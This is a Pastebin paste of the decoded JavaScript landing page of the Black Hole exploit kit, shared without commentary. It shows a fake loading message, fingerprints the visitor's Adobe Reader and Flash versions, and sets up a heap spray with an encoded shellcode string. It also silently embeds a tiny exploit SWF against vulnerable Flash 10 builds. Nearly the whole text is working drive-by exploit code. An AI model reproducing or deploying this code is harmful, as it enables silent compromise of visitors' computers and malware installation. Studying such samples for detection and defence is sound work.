Advertisement
guelfoweb

Black Hole Kit - Decoded

Jun 23rd, 2012
9,375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2. function end_redirect() {}
  3. try
  4. {
  5.     var PluginDetect =
  6.     {
  7.         version : "0.7.6", name : "PluginDetect",
  8.         handler : function (c, b, a)
  9.         {
  10.             return function ()
  11.             {
  12.                 c(b, a)
  13.             }
  14.         },
  15.         isDefined : function (b)
  16.         {
  17.             return typeof b != "undefined";
  18.         },
  19.         isArray : function (b)
  20.         {
  21.             return (/array/i).test(Object.prototype.toString.call(b));
  22.         },
  23.         isFunc : function (b)
  24.         {
  25.             return typeof b == "function";
  26.         },
  27.         isString : function (b)
  28.         {
  29.             return typeof b == "string";
  30.         },
  31.         isNum : function (b)
  32.         {
  33.             return typeof b == "number";
  34.         },
  35.         isStrNum : function (b)
  36.         {
  37.             return (typeof b == "string" && (/\d/).test(b));
  38.         },
  39.         getNumRegx : /[\d][\d\.\_,-]*/, splitNumRegx : /[\.\_,-]/g,
  40.         getNum : function (b, c)
  41.         {
  42.             var d = this, a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  43.             return a ? a[0] : null;
  44.         },
  45.         compareNums : function (h, f, d)
  46.         {
  47.             var e = this, c, b, a, g = parseInt;
  48.             if (e.isStrNum(h) && e.isStrNum(f))
  49.             {
  50.                 if (e.isDefined(d) && d.compareNums) {
  51.                     return d.compareNums(h, f)
  52.                 }
  53.                 c = h.split(e.splitNumRegx);
  54.                 b = f.split(e.splitNumRegx);
  55.                 for (a = 0; a < Math.min(c.length, b.length); a++) {
  56.                     if (g(c[a], 10) > g(b[a], 10)) {
  57.                         return 1
  58.                     }
  59.                     if (g(c[a], 10) < g(b[a], 10)) {
  60.                         return - 1;
  61.                     }
  62.                 }
  63.             }
  64.             return 0;
  65.         },
  66.         formatNum : function (b, c)
  67.         {
  68.             var d = this, a, e;
  69.             if (!d.isStrNum(b)) {
  70.                 return null
  71.             }
  72.             if (!d.isNum(c)) {
  73.                 c = 4
  74.             }
  75.             c--;
  76.             e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  77.             for (a = 0; a < 4; a++) {
  78.                 if (/^(0+)(.+)$/.test(e[a])) {
  79.                     e[a] = RegExp.$2
  80.                 }
  81.                 if (a > c || !(/\d/).test(e[a])) {
  82.                     e[a] = "0";
  83.                 }
  84.             }
  85.             return e.slice(0, 4).join(",");
  86.         },
  87.         $$hasMimeType : function (a)
  88.         {
  89.             return function (d)
  90.             {
  91.                 if (!a.isIE && d)
  92.                 {
  93.                     var c, b, e, f = a.isString(d) ? [d] : d;
  94.                     if (!f || !f.length) {
  95.                         return null
  96.                     }
  97.                     for (e = 0; e < f.length; e++)
  98.                     {
  99.                         if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  100.                             return c;
  101.                         }
  102.                     }
  103.                 }
  104.                 return null;
  105.             }
  106.         },
  107.         findNavPlugin : function (l, e, c)
  108.         {
  109.             var j = this, h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\d/: 0, k = c ? new RegExp(c,
  110.             "i") : 0, a = navigator.plugins, g = "", f, b, m;
  111.             for (f = 0; f < a.length; f++)
  112.             {
  113.                 m = a[f].description || g;
  114.                 b = a[f].name || g;
  115.                 if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  116.                     if (!k || !(k.test(m) || k.test(b))) {
  117.                         return a[f];
  118.                     }
  119.                 }
  120.             }
  121.             return null;
  122.         },
  123.         getMimeEnabledPlugin : function (k, m, c)
  124.         {
  125.             var e = this, f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l, d,
  126.             j = e.isString(k) ? [k] : k;
  127.             for (d = 0; d < j.length; d++)
  128.             {
  129.                 if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin))
  130.                 {
  131.                     l = f.description || h;
  132.                     a = f.name || h;
  133.                     if (b.test(l) || b.test(a)) {
  134.                         if (!g || !(g.test(l) || g.test(a))) {
  135.                             return f;
  136.                         }
  137.                     }
  138.                 }
  139.             }
  140.             return 0;
  141.         },
  142.         getPluginFileVersion : function (f, b)
  143.         {
  144.             var h = this, e, d, g, a, c =- 1;
  145.             if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  146.                 return b
  147.             }
  148.             if (!b) {
  149.                 return e
  150.             }
  151.             e = h.formatNum(e);
  152.             b = h.formatNum(b);
  153.             d = b.split(h.splitNumRegx);
  154.             g = e.split(h.splitNumRegx);
  155.             for (a = 0; a < d.length; a++)
  156.             {
  157.                 if (c > -1 && a > c && !(d[a] == "0")) {
  158.                     return b
  159.                 }
  160.                 if (g[a] != d[a]) {
  161.                     if (c ==- 1) {
  162.                         c = a
  163.                     }
  164.                     if (d[a] != "0") {
  165.                         return b;
  166.                     }
  167.                 }
  168.             }
  169.             return e;
  170.         },
  171.         AXO : window.ActiveXObject,
  172.         getAXO : function (a)
  173.         {
  174.             var f = null, d, b = this, c = {};
  175.             try {
  176.                 f = new b.AXO(a)
  177.             }
  178.             catch (d) {}
  179.             return f;
  180.         },
  181.         convertFuncs : function (g)
  182.         {
  183.             var a, h, f, b = /^[\$][\$]/, d = {}, c = this;
  184.             for (a in g) {
  185.                 if (b.test(a)) {
  186.                     d[a] = 1;
  187.                 }
  188.             }
  189.             for (a in d) {
  190.                 try {
  191.                     h = a.slice(2);
  192.                     if (h.length > 0 && !g[h]) {
  193.                         g[h] = g[a](g);
  194.                         delete g[a]
  195.                     }
  196.                 }
  197.                 catch (f) {}
  198.             }
  199.         },
  200.         initScript : function ()
  201.         {
  202.             var c = this, a = navigator, e = "/", i = a.userAgent || "", g = a.vendor || "", b = a.platform || "",
  203.             h = a.product || "";
  204.             if (c.file) {
  205.                 c.file.$ = c
  206.             }
  207.             if (c.verify) {
  208.                 c.verify.$ = c
  209.             };
  210.             c.OS = 100;
  211.             if (b)
  212.             {
  213.                 var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  214.                 "iPad", 21.3, "Win.*" + "CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  215.                 for (f = d.length - 2; f >= 0; f = f - 2) {
  216.                     if (d[f] && new RegExp(d[f], "i").test(b)) {
  217.                         c.OS = d[f + 1];
  218.                         break
  219.                     }
  220.                 }
  221.             }
  222.             c.convertFuncs(c);
  223.             c.isIE = new Function("return " + e + "*@cc" + "_on!@*" + e + "false")();
  224.             c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  225.             c.ActiveXEnabled = false;
  226.             if (c.isIE)
  227.             {
  228.                 var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash",
  229.                 "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  230.                 for (f = 0; f < j.length; f++) {
  231.                     if (c.getAXO(j[f])) {
  232.                         c.ActiveXEnabled = true;
  233.                         break
  234.                     }
  235.                 }
  236.                 c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  237.             }
  238.             c.isGecko = (/Gecko/i).test(h) && (/ecko\s*\/\s*\d/i).test(i);
  239.             c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
  240.             c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
  241.             c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  242.             c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  243.             c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  244.             c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1,
  245.             10) : null;
  246.             c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  247.         },
  248.         init : function (c)
  249.         {
  250.             var b = this, a, c;
  251.             if (!b.isString(c)) {
  252.                 return - 3
  253.             }
  254.             if (c.length == 1) {
  255.                 b.getVersionDelimiter = c;
  256.                 return - 3
  257.             }
  258.             c = c.toLowerCase().replace(/\s/g, "");
  259.             a = b[c];
  260.             if (!a || !a.getVersion) {
  261.                 return - 3
  262.             }
  263.             b.plugin = a;
  264.             if (!b.isDefined(a.installed)) {
  265.                 a.installed = a.version = a.version0 = a.getVersionDone = null;
  266.                 a.$ = b;
  267.                 a.pluginName = c
  268.             }
  269.             b.garbage = false;
  270.             if (b.isIE && !b.ActiveXEnabled) {
  271.                 if (a !== b.java) {
  272.                     return - 2;
  273.                 }
  274.             }
  275.             return 1;
  276.         },
  277.         fPush : function (b, a)
  278.         {
  279.             var c = this;
  280.             if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && !(b.length <= 0) && c.isFunc(b[0])))) {
  281.                 a.push(b)
  282.             }
  283.         },
  284.         callArray : function (b)
  285.         {
  286.             var c = this, a;
  287.             if (c.isArray(b)) {
  288.                 for (a = 0; a < b.length; a++) {
  289.                     if (b[a] === null) {
  290.                         return
  291.                     }
  292.                     c.call(b[a]);
  293.                     b[a] = null;
  294.                 }
  295.             }
  296.         },
  297.         call : function (c)
  298.         {
  299.             var b = this, a = b.isArray(c) ? c.length :- 1;
  300.             if (!(a <= 0) && b.isFunc(c[0])) {
  301.                 c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  302.             }
  303.             else {
  304.                 if (b.isFunc(c)) {
  305.                     c(b)
  306.                 }
  307.             }
  308.         },
  309.         getVersionDelimiter : ",", $$getVersion : function (a)
  310.         {
  311.             return function (g, d, c)
  312.             {
  313.                 var e = a.init(g), f, b, h = {};
  314.                 if (e < 0) {
  315.                     return null;
  316.                 };
  317.                 f = a.plugin;
  318.                 if (f.getVersionDone != 1) {
  319.                     f.getVersion(null, d, c);
  320.                     if (f.getVersionDone === null) {
  321.                         f.getVersionDone = 1;
  322.                     }
  323.                 }
  324.                 a.cleanup();
  325.                 b = (f.version || f.version0);
  326.                 b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  327.                 return b;
  328.             }
  329.         },
  330.         cleanup : function () {},
  331.         addWinEvent : function (d, c)
  332.         {
  333.             var e = this, a = window, b;
  334.             if (e.isFunc(c))
  335.             {
  336.                 if (a.addEventListener) {
  337.                     a.addEventListener(d, c, false)
  338.                 }
  339.                 else
  340.                 {
  341.                     if (a.attachEvent) {
  342.                         a.attachEvent("on" + d, c)
  343.                     }
  344.                     else {
  345.                         b = a["on" + d];
  346.                         a["on" + d] = e.winHandler(c, b);
  347.                     }
  348.                 }
  349.             }
  350.         },
  351.         winHandler : function (d, c)
  352.         {
  353.             return function ()
  354.             {
  355.                 d();
  356.                 if (typeof c == "function")
  357.                 {
  358.                     c()
  359.                 }
  360.             }
  361.         },
  362.         WLfuncs0 : [], WLfuncs : [],
  363.         runWLfuncs : function (a)
  364.         {
  365.             var b = {};
  366.             a.winLoaded = true;
  367.             a.callArray(a.WLfuncs0);
  368.             a.callArray(a.WLfuncs);
  369.             if (a.onDoneEmptyDiv) {
  370.                 a.onDoneEmptyDiv()
  371.             }
  372.         },
  373.         winLoaded : false, $$onWindowLoaded : function (a)
  374.         {
  375.             return function (b)
  376.             {
  377.                 if (a.winLoaded) {
  378.                     a.call(b)
  379.                 }
  380.                 else {
  381.                     a.fPush(b, a.WLfuncs)
  382.                 }
  383.             }
  384.         },
  385.         div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1,
  386.         emptyDiv : function ()
  387.         {
  388.             var d = this, b, h, c, a, f, g;
  389.             if (d.div && d.div.childNodes)
  390.             {
  391.                 for (b = d.div.childNodes.length - 1; b >= 0; b--)
  392.                 {
  393.                     c = d.div.childNodes[b];
  394.                     if (c && c.childNodes)
  395.                     {
  396.                         for (h = c.childNodes.length - 1; h >= 0; h--) {
  397.                             g = c.childNodes[h];
  398.                             try {
  399.                                 c.removeChild(g)
  400.                             }
  401.                             catch (f) {}
  402.                         }
  403.                     }
  404.                     if (c) {
  405.                         try {
  406.                             d.div.removeChild(c)
  407.                         }
  408.                         catch (f) {}
  409.                     }
  410.                 }
  411.             }
  412.             if (!d.div) {
  413.                 a = document.getElementById(d.divID);
  414.                 if (a) {
  415.                     d.div = a;
  416.                 }
  417.             }
  418.             if (d.div && d.div.parentNode) {
  419.                 try {
  420.                     d.div.parentNode.removeChild(d.div)
  421.                 }
  422.                 catch (f) {}
  423.                 d.div = null;
  424.             }
  425.         },
  426.         DONEfuncs : [],
  427.         onDoneEmptyDiv : function ()
  428.         {
  429.             var c = this, a, b;
  430.             if (!c.winLoaded) {
  431.                 return
  432.             }
  433.             if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  434.                 return
  435.             }
  436.             for (a in c)
  437.             {
  438.                 b = c[a];
  439.                 if (b && b.funcs) {
  440.                     if (b.OTF == 3) {
  441.                         return
  442.                     }
  443.                     if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  444.                         return
  445.                     }
  446.                 }
  447.             }
  448.             for (a = 0; a < c.DONEfuncs.length; a++) {
  449.                 c.callArray(c.DONEfuncs)
  450.             }
  451.             c.emptyDiv()
  452.         },
  453.         getWidth : function (c)
  454.         {
  455.             if (c) {
  456.                 var a = c.scrollWidth || c.offsetWidth, b = this;
  457.                 if (b.isNum(a)) {
  458.                     return a;
  459.                 }
  460.             }
  461.             return - 1;
  462.         },
  463.         getTagStatus : function (m, g, a, b)
  464.         {
  465.             var c = this, f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.span,
  466.             i = c.getWidth(d);
  467.             if (!k || !h || !d || !c.getDOMobj(m)) {
  468.                 return - 2
  469.             }
  470.             if (j < i || l < 0 || j < 0 || i < 0 || !(i > c.pluginSize) || c.pluginSize < 1) {
  471.                 return 0
  472.             }
  473.             if (l >= i) {
  474.                 return - 1
  475.             }
  476.             try
  477.             {
  478.                 if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4))
  479.                 {
  480.                     if (!m.winLoaded && c.winLoaded) {
  481.                         return 1
  482.                     }
  483.                     if (m.winLoaded && c.isNum(b)) {
  484.                         if (!c.isNum(m.count)) {
  485.                             m.count = b
  486.                         }
  487.                         if (b - m.count >= 10) {
  488.                             return 1;
  489.                         }
  490.                     }
  491.                 }
  492.             }
  493.             catch (f) {}
  494.             return 0;
  495.         },
  496.         getDOMobj : function (g, a)
  497.         {
  498.             var f, d = this, c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  499.             try {
  500.                 if (b && a) {
  501.                     c.firstChild.focus()
  502.                 }
  503.             }
  504.             catch (f) {}
  505.             return b ? c.firstChild : null;
  506.         },
  507.         setStyle : function (b, g)
  508.         {
  509.             var f = b.style, a, d, c = this;
  510.             if (f && g) {
  511.                 for (a = 0; a < g.length; a = a + 2) {
  512.                     try {
  513.                         f[g[a]] = g[a + 1]
  514.                     }
  515.                     catch (d) {}
  516.                 }
  517.             }
  518.         },
  519.         insertDivInBody : function (a, i)
  520.         {
  521.             var h, f = this, b = "pd33993399", d = null, j = i ? window.top.document : window.document,
  522.             c = "<", g = (j.getElementsByTagName("body")[0] || j.body);
  523.             if (!g) {
  524.                 try {
  525.                     j.write(c + 'div id="' + b + '">o' + c + "/div>");
  526.                     d = j.getElementById(b)
  527.                 }
  528.                 catch (h) {}
  529.             }
  530.             g = (j.getElementsByTagName("body")[0] || j.body);
  531.             if (g)
  532.             {
  533.                 if (g.firstChild && f.isDefined(g.insertBefore)) {
  534.                     g.insertBefore(a, g.firstChild)
  535.                 }
  536.                 else {
  537.                     g.appendChild(a)
  538.                 }
  539.                 if (d) {
  540.                     g.removeChild(d)
  541.                 }
  542.             }
  543.             else{}
  544.         },
  545.         insertHTML : function (g, b, h, a, k)
  546.         {
  547.             var l, m = document, j = this, p, o = m.createElement("span"), n, i, f = "<";
  548.             var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px",
  549.             "visibility", "visible"];
  550.             if (!j.isDefined(a)) {
  551.                 a = ""
  552.             }
  553.             if (j.isString(g) && (/[^\s]/).test(g))
  554.             {
  555.                 p = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  556.                 for (n = 0; n < b.length; n = n + 2) {
  557.                     if (/[^\s]/.test(b[n + 1])) {
  558.                         p += b[n] + '="' + b[n + 1] + '" '
  559.                     }
  560.                 }
  561.                 p += ">";
  562.                 for (n = 0; n < h.length; n = n + 2) {
  563.                     if (/[^\s]/.test(h[n + 1])) {
  564.                         p += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
  565.                     }
  566.                 }
  567.                 p += a + f + "/" + g + ">"
  568.             }
  569.             else {
  570.                 p = a
  571.             }
  572.             if (!j.div)
  573.             {
  574.                 i = m.getElementById(j.divID);
  575.                 if (i) {
  576.                     j.div = i
  577.                 }
  578.                 else {
  579.                     j.div = m.createElement("div");
  580.                     j.div.id = j.divID;
  581.                     j.insertDivInBody(j.div)
  582.                 }
  583.                 j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px",
  584.                 "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign",
  585.                 "baseline", "display", "block"]));
  586.                 if (!i) {
  587.                     j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  588.                 }
  589.             }
  590.             if (j.div && j.div.parentNode)
  591.             {
  592.                 j.div.appendChild(o);
  593.                 j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px",
  594.                 "verticalAlign", "baseline", "display", "inline"]));
  595.                 try {
  596.                     if (o && o.parentNode) {
  597.                         o.focus()
  598.                     }
  599.                 }
  600.                 catch (l) {}
  601.                 try {
  602.                     o.innerHTML = p
  603.                 }
  604.                 catch (l) {}
  605.                 if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1" + ",5,0,0") < 0)) {
  606.                     j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  607.                 }
  608.                 return {
  609.                     span : o, winLoaded : j.winLoaded, tagName : (j.isString(g) ? g : "")
  610.                 }
  611.             }
  612.             return {
  613.                 span : null, winLoaded : j.winLoaded, tagName : ""
  614.             }
  615.         },
  616.         flash :
  617.         {
  618.             mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash", classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  619.             getVersion : function ()
  620.             {
  621.                 var b = function (i)
  622.                 {
  623.                     if (!i) {
  624.                         return null
  625.                     }
  626.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  627.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null;
  628.                 };
  629.                 var j = this, g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  630.                 if (!g.isIE)
  631.                 {
  632.                     m = g.hasMimeType(j.mimeType);
  633.                     if (m)
  634.                     {
  635.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  636.                         try {
  637.                             l = g.getNum(f.GetVariable("$version"))
  638.                         }
  639.                         catch (k) {}
  640.                     }
  641.                     if (!l)
  642.                     {
  643.                         d = m ? m.enabledPlugin : null;
  644.                         if (d && d.description) {
  645.                             l = b(d.description)
  646.                         }
  647.                         if (l) {
  648.                             l = g.getPluginFileVersion(d, l);
  649.                         }
  650.                     }
  651.                 }
  652.                 else
  653.                 {
  654.                     for (h = 15; h > 2; h--) {
  655.                         c = g.getAXO(j.progID + "." + h);
  656.                         if (c) {
  657.                             a = h.toString();
  658.                             break
  659.                         }
  660.                     }
  661.                     if (!c) {
  662.                         c = g.getAXO(j.progID)
  663.                     }
  664.                     if (a == "6") {
  665.                         try {
  666.                             c.AllowScriptAccess = "always"
  667.                         }
  668.                         catch (k) {
  669.                             return "6,0,21,0";
  670.                         }
  671.                     }
  672.                     try {
  673.                         l = b(c.GetVariable("$version"))
  674.                     }
  675.                     catch (k) {}
  676.                     if (!l && a) {
  677.                         l = a;
  678.                     }
  679.                 }
  680.                 j.installed = l ? 1 :- 1;
  681.                 j.version = g.formatNum(l);
  682.                 return true;
  683.             }
  684.         },
  685.         adobereader :
  686.         {
  687.             mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF", "PDF.PdfCtrl"],
  688.             classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED : {},
  689.             pluginHasMimeType : function (d, c, f)
  690.             {
  691.                 var b = this, e = b.$, a;
  692.                 for (a in d) {
  693.                     if (d[a] && d[a].type && d[a].type == c) {
  694.                         return 1;
  695.                     }
  696.                 }
  697.                 if (e.getMimeEnabledPlugin(c, f)) {
  698.                     return 1
  699.                 }
  700.                 return 0;
  701.             },
  702.             getVersion : function (l, j)
  703.             {
  704.                 var g = this, d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  705.                 if (d.isString(j)) {
  706.                     j = j.replace(/\s/g, "");
  707.                     if (j) {
  708.                         k = j;
  709.                     }
  710.                 }
  711.                 else {
  712.                     j = null
  713.                 }
  714.                 if (d.isDefined(g.INSTALLED[k])) {
  715.                     g.installed = g.INSTALLED[k];
  716.                     return
  717.                 }
  718.                 if (!d.isIE)
  719.                 {
  720.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  721.                     if (g.getVersionDone !== 0)
  722.                     {
  723.                         g.getVersionDone = 0;
  724.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  725.                         if (!j) {
  726.                             n = b
  727.                         }
  728.                         if (!b && d.hasMimeType(g.mimeType)) {
  729.                             b = d.findNavPlugin(a, 0)
  730.                         }
  731.                         if (b)
  732.                         {
  733.                             g.navPluginObj = b;
  734.                             h = d.getNum(b.description) || d.getNum(b.name);
  735.                             h = d.getPluginFileVersion(b, h);
  736.                             if (!h && d.OS == 1)
  737.                             {
  738.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  739.                                     h = "9"
  740.                                 }
  741.                                 else {
  742.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  743.                                         h = "8";
  744.                                     }
  745.                                 }
  746.                             }
  747.                         }
  748.                     }
  749.                     else {
  750.                         h = g.version
  751.                     }
  752.                     if (!d.isDefined(n)) {
  753.                         n = d.getMimeEnabledPlugin(k, a)
  754.                     }
  755.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  756.                 }
  757.                 else
  758.                 {
  759.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  760.                     c = /=\s*([\d\.]+)/g;
  761.                     try
  762.                     {
  763.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""],
  764.                         "", g))).GetVersions();
  765.                         for (m = 0; m < 5; m++) {
  766.                             if (c.test(f) && (!h || !(RegExp.$1 - h <= 0))) {
  767.                                 h = RegExp.$1;
  768.                             }
  769.                         }
  770.                     }
  771.                     catch (i) {}
  772.                     g.installed = h ? 1 : (b ? 0 :- 1)
  773.                 }
  774.                 if (!g.version) {
  775.                     g.version = d.formatNum(h)
  776.                 }
  777.                 g.INSTALLED[k] = g.installed;
  778.             }
  779.         },
  780.         zz : 0
  781.     };
  782.     PluginDetect.initScript();
  783.     PluginDetect.getVersion(".");
  784.     pdfver = PluginDetect.getVersion("AdobeReader");
  785.     flashver = PluginDetect.getVersion('Flash');
  786. }
  787. catch (e) {}
  788. if (typeof pdfver == 'string') {
  789.     pdfver = pdfver.split('.')
  790. }
  791. else {
  792.     pdfver = [0, 0, 0, 0]
  793. }
  794. if (typeof flashver == 'string') {
  795.     flashver = flashver.split('.')
  796. }
  797. else {
  798.     flashver = [0, 0, 0, 0];
  799. };
  800. exec7 = 1;
  801. function spl0()
  802. {
  803.     spl2()
  804. }
  805. function spl2()
  806. {
  807.     spl3()
  808. }
  809. function spl3()
  810. {
  811.     spl4()
  812. }
  813. function spl4()
  814. {
  815.     spl5()
  816. }
  817. function getCN()
  818. {
  819.     return 'data/score.swf'
  820. }
  821. function getBlockSize()
  822. {
  823.     return 1024
  824. }
  825. function getAllocSize()
  826. {
  827.     return 1024 * 1024
  828. }
  829. function getAllocCount()
  830. {
  831.     return 300
  832. }
  833. function getFillBytes()
  834. {
  835.     var a = '%u' + '0c0c';
  836.     return a + a;
  837. }
  838. function getShellCode()
  839. {
  840.     if (1)
  841.     {
  842.         return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u4ae9%u80fe%u2830%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u494b%u4b46%u5a4d%u5c05%u5c5d%u5a47%u4941%u0544%u415e%u4d4c%u5b47%u4b06%u4547%u5f07%u5806%u5840%u4e17%u1c15%u1d1b%u1c4c%u4d0e%u1915%u2828";
  843.     }
  844. }
  845. function spl5()
  846. {
  847.     var ver1 = flashver[0];
  848.     var ver2 = flashver[1];
  849.     var ver3 = flashver[2];
  850.     if (((ver1 == 10 && ver2 == 0 && ver3 > 40) || ((ver1 == 10 && ver2 > 0) && (ver1 == 10 && ver2 < 2))) || ((ver1 == 10 && ver2 == 2 && ver3 < 159) || (ver1 == (11 - 1) && ver2 < 2)))
  851.     {
  852.         var fname = "data/field";
  853.         var Flash_obj = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
  854.         Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  855.         al = "always";
  856.         Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  857.         Flash_obj += "<param name='Play' value='0' />";
  858.         Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  859.         Flash_obj += "allowScriptAccess='" + al + "'";
  860.         Flash_obj += "type='application/x-shockwave-flash'";
  861.         Flash_obj += "width='10' height='10'>";
  862.         Flash_obj += "</embed>";
  863.         Flash_obj += "</object>";
  864.         var oSpan = document.createElement("span");
  865.         document.body.appendChild(oSpan);
  866.         oSpan.innerHTML = Flash_obj;
  867.     }
  868.     setTimeout(end_redirect, 8000);
  869. }
  870. spl0();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement